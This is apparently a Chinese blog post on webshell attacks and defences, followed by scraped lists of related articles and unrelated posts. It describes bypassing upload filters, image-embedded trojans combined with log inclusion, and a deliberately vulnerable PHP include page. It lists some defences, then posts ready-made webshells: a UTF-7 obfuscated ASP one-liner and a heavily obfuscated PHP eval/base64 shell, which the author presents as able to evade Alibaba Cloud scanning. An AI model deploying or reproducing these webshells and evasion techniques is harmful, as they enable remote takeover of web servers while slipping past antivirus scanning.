webShell攻击及防御
最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。
首先简单说下 什么是webShell?
利用文件上传,上传了非法可以执行代码到服务器,然后利用程序(中国蚁剑、哥斯拉、冰蝎)进行连接并执行服务器的操作。
下面是蚁剑的成功连接界面,可以对整个服务器下的项目进行授权操作。
哥斯拉成功连接界面
攻击思路:
1.通过第三方检测工具对网站进行扫描上传的接口( AppScan工具,或者其它开源产品Github上或码云有 )
2.测试上传非图片文件,如果前端限制了,把php脚本改成jpg格式 可以配合抓包工具(burpsuite)进行提交后修改文件后缀,大部分网站上传接口可以给上传。如果上传不了最后给强制返回了图片格式后缀,也不用慌,还可以尝试上传一句话木马保存到图片里面。再通过访问日志,或者错误日志写入引用图片木马。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];// http://www.a.com/b.png
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
反攻击思路:
1.前端获取图片的base64格式 ,后端直接强制上传文件的后缀为 png jpg
2.PHP 禁用eval() {evel是禁用不了的,属于系统C的语言,但是百度有办法禁用} shell_exec() system() assert() 等危险可执行函数
3.上传接口,设置好访问权限,这样可以少了很多麻烦。
其实这个webShell病毒,我测试发现很多可以免杀。就是杀毒无法识别,一般都是进行了伪装,代码变形,代码加密等等方式。不过随着杀毒防御的不断增加病毒的形态,绝大对数还是可以被检测出来。所以推荐下几个比较好用的防御杀毒工具:
1.阿里云检测代码,我一般用这个测试写的代码是否可以被识别,这个识别度非常高 https://ti.aliyun.com/#/webshell
2.宝塔杀毒软件很多,我用过微步木马检测,还挺好用,识别度很高
3.APP 河马查杀 、D盾 这2个我下载扫过全站的代码,识别度相对前面的没有那么高。
最后发几段代码供参考下:
<?php
// 这个是可以过阿里云的 免杀脚本,如果使用的是宝塔服务器
ini_set("xdebug.var_display_max_children", '-1');
ini_set("xdebug.var_display_max_data", '-1');
ini_set("xdebug.var_display_max_depth", '-1');
function running_process(){
$cmd = "bt default | head -n 8 | tail -n 4";
#$ret1 = system($cmd);
$ret1 = shell_exec($cmd);
#$ret2 = exec($cmd);
var_dump($ret1);
echo "\n";
print_r($ret1);
echo "\n";
echo shell_exec($cmd);
}
running_process();
?>
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0ia0hlTGJxUE9VVE5qcGFoSlNBZ2RJY3RYRVZuQ3dseVdCWVJLclpNRGltZnZ1Rkdzb3hRemJvV1lNVGdhRWx4VnJaa0tuenVKZmhwSERJZENxdEJQamlSWFVOR3ZReUZBZVNtY09Mc3dndjlxWm96WHNveHRoM3hyTTI1RmgzUmtoZHNPWGxjWHNveHRKUzkwWlAxdEgyTHJNUHQwWHZ6cmFxcnpOSEtCTTNLRmh5SXFNM0swWlA1ZFh2enJhcXJ5SlA1VkptdEFNUWp0TXl4QU5tRU9LRHNjS0RjcldxT3VmQ3p1Tnk5QlhDUnJnbHo3S21iOGgzUkJNbUllWENSRFhsY2JabmNVWG5qN0NRenVmQ3p1ZkN6dUttR3VnbnpibjFjYlpuY0xLVkQxSGxjWGZDenVmQ3p1ZkN6YlJTY2JaSTB1Z256YlJTY2JaSTFXS21HN0NRenVmQ2o5Q1F6dWZDakJOSFIxaHk0dUtEczdDZDBYS29qa2gzRzlLM2praDN4M00zS2JLd2NYS29qa1dQTEFpUFJhaVAxdGduSnFpSHRjTTJTYkt3Y1hLbXB0V2wwZHhQaTBObXhWRzJmMWlQRDN4VklieFFoN0N5dHlmQ2tyaDN4dEpDdWJIMWpnRTFSTUtvamtoM3hKWG50N0NRenVmQ3piTm1TMGlsMXRNeXhBTm1FT2l5U3dObGkwSDJSdGkyOWJObnViSDFqZ0UxUk1Lb2praDN4SlhucWJaMkk1WGxjWGZDenVmbXR5ZkNrcmgzeHRKQ3ViSDF4U0UxeEtsMDVNS29qa1dQTEFpUFJhaVAxdEhuYnJXcU91ZkN6dWZDenVmQ1JxaUh0Y00yU2JnUEllaTI5Yk5udWJIMXhTRTF4S2wwNU1Lb2prV1BMQWlQUmFpUDF0SG5xYloySTVYbGNYZkN6dWZDenVmQ2pyTlF6T2gzUkJobTl3WENScWlIdGNNMlNiWUNLZE5IUkNpSHhyaTN4S015TkFmUWI5Z2wxeWlQTHdObnQ3Q1F6dWZDenVmQ3p1ZkN6dWZDUnFpSHRjTTJTYmdQSWVpMjliTm51YmhtUzVNbTlrTkNxYloySTVYbGNYZkN6dWZDenVmQ2o5Q3ViS05ITmtNQ3ViaG1TNU1tOWtOQ2I3Q1F6dWZDenVmQ3p1TlB4T01CandKUEt3Sm9mT01QczFYQ1JxaUh4d1lRUlVOSGJyWXZ6Y0dsaXJhcU91ZkN6dWZDenVmbUlWWm04dWl5U3dObGkwSDJJZWkyOWJObmt0TXl4QU5tRU9zb0sxTVF1Yk5tUzBpbmJjS21wdFduYnJhcU91ZkN6dWZDenVmbUlWWm04dWgzSVFoM1JCWG0xYnhudWJobVN3aEI0YloySTVYbnFMeFFiN0NRenVmQ2o5TlBMd05IY1hmQ3p1ZkN6dWZDanJOUXpPaDNSQmhtOXdYQ1JiaUhSa1lDS2ROSFJDaUh4cmkzeEtNeU5BZlFia2dsMXlpUEx3Tm50N0NRenVmQ3p1ZkN6dWZDenVmQ1JGRTBJbEUwdGdsdGNiaG1TNU1tOWtORDVrTVBJSmdQSWVpMjliTm51Yk5tUzBpbnFiWjJJNVhsY1hmQ3p1ZkN6dWZDajlDUXp1ZkNqOUNkMD0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>
webShell攻击及防御的更多相关文章
- 常见【十种】WEB攻击及防御技术总结
最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...
- 攻防:文件上传漏洞的攻击与防御,转自H3C
WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...
- Mac地址泛洪攻击的防御措施和具体配置
Mac地址泛洪攻击指的是:利用交换机的mac地址学习机制,攻击者不断地刷新mac地址,填满交换机的mac地址表,以致崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息. mac地址泛洪攻击的防 ...
- C#-黑客-数据库访问-字符串的攻击和防御
C#中用基本的方法对数据库进行增删改查,会被黑客利用,写入其他的代码以实现对数据库的数据进行其他的操作.例如: 对下列数据库的某个信息进行修改操作 修改代码: using System; using ...
- ARP缓存表的构成ARP协议全面实战协议详解、攻击与防御
ARP缓存表的构成ARP协议全面实战协议详解.攻击与防御 1.4.3 ARP缓存表的构成 在局域网的任何一台主机中,都有一个ARP缓存表.该缓存表中保存中多个ARP条目.每个ARP条目都是由一个IP ...
- 【服务器防护】WEB防护 - WEBSHELL攻击探测【转载】
原文:http://www.2cto.com/Article/201511/451757.html 1. 什么是webshell? 基于b/s架构的软件部署在Internet上,那么安全性是必 ...
- 浅谈Ddos攻击攻击与防御
EMail: jianxin#80sec.comSite: http://www.80sec.comDate: 2011-2-10From: http://www.80sec.com/ [ 目录 ]一 ...
- 通过DDOS攻击流程图来浅谈如何预防Ddos攻击与防御
DDOS攻击流程图 站长之家配图(来源:ppkj.net) 一 背景 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题 ...
- 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞
看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
随机推荐
- Vue-amap的使用
(1)Npm安装:npm install vue-amap –save (2)在main.js中配置 首先需要在项目初始化时,通过 initAMapApiLoader 引入所需要的插件: (3)vue ...
- 用深度强化学习玩FlappyBird
摘要:学习玩游戏一直是当今AI研究的热门话题之一.使用博弈论/搜索算法来解决这些问题需要特别地进行周密的特性定义,使得其扩展性不强.使用深度学习算法训练的卷积神经网络模型(CNN)自提出以来在图像处理 ...
- 220722 T4 求和 /P4587 [FJOI2016]神秘数 (主席树)
好久没打主席树了,都忘了怎么用了...... 假设我们选了一些数能构成[0,x]范围内的所有值,下一个要加的数是k(k<=x+1),那么可以取到[0,x+k]内的所有取值,所以有一种做法: 对于 ...
- Hbase之API基本操作
API之框架 private static Admin admin = null; private static Connection connection = null; private stati ...
- 不允许还有Java程序员不了解BlockingQueue阻塞队列的实现原理
我们平时开发中好像很少使用到BlockingQueue(阻塞队列),比如我们想要存储一组数据的时候会使用ArrayList,想要存储键值对数据会使用HashMap,在什么场景下需要用到Blocking ...
- 使用MVC的实现登录注册功能
文章目录 1.视图层(View)页面的编写: 1.1.登录页面 1.2.注册页面 2.控制层(Controller)的编写 2.1. 注册 2.2 .登录 2.3 .实体类 3.Model层(Mode ...
- python django搭建一个简易博客的解析(按照文件顺序逐一讲解)
上次讲解了一下各py文件的内容,但比较乱,所以这次整理了一个顺序版. 源代码请在http://github/Cheng0829/mysite自行下载 mysite: db.sqlite3:数据库文件. ...
- SpringBoot(三) - Ribbon客户端负载均衡,Zuul网关,Config配置中心
1.Ribbon客户端负载均衡 1.1 依赖 1.2 配置信息 # feign默认加载了ribbon负载均衡,默认负载均衡机制是:轮询 # 负载均衡机制是添加在消费端(客户端)的,如果改为随机,指定服 ...
- 【安装文档】TRex流量分析仪保姆级安装指南--基于VMware虚拟机(ubantu18.04@Intel 82545EM)
前言 既然你已经知道TRex并尝试搜索它的安装教程,这意味着你有一定的基础知识(至少知道自己需要什么).因此本文对于TRex的介绍部分会偏少 本次主要为TRex安装过程的一次记录(版本为v3.0.0) ...
- Node.js的学习(二)node.js 模块化
一.Node.js模块化 1.模块化概要 早期的javascript版本没有块级作用域.没有类.没有包.也没有模块,这样会带来一些问题,如复用.依赖.冲突.代码组织混乱等,随着前端的膨胀,模块化显得非 ...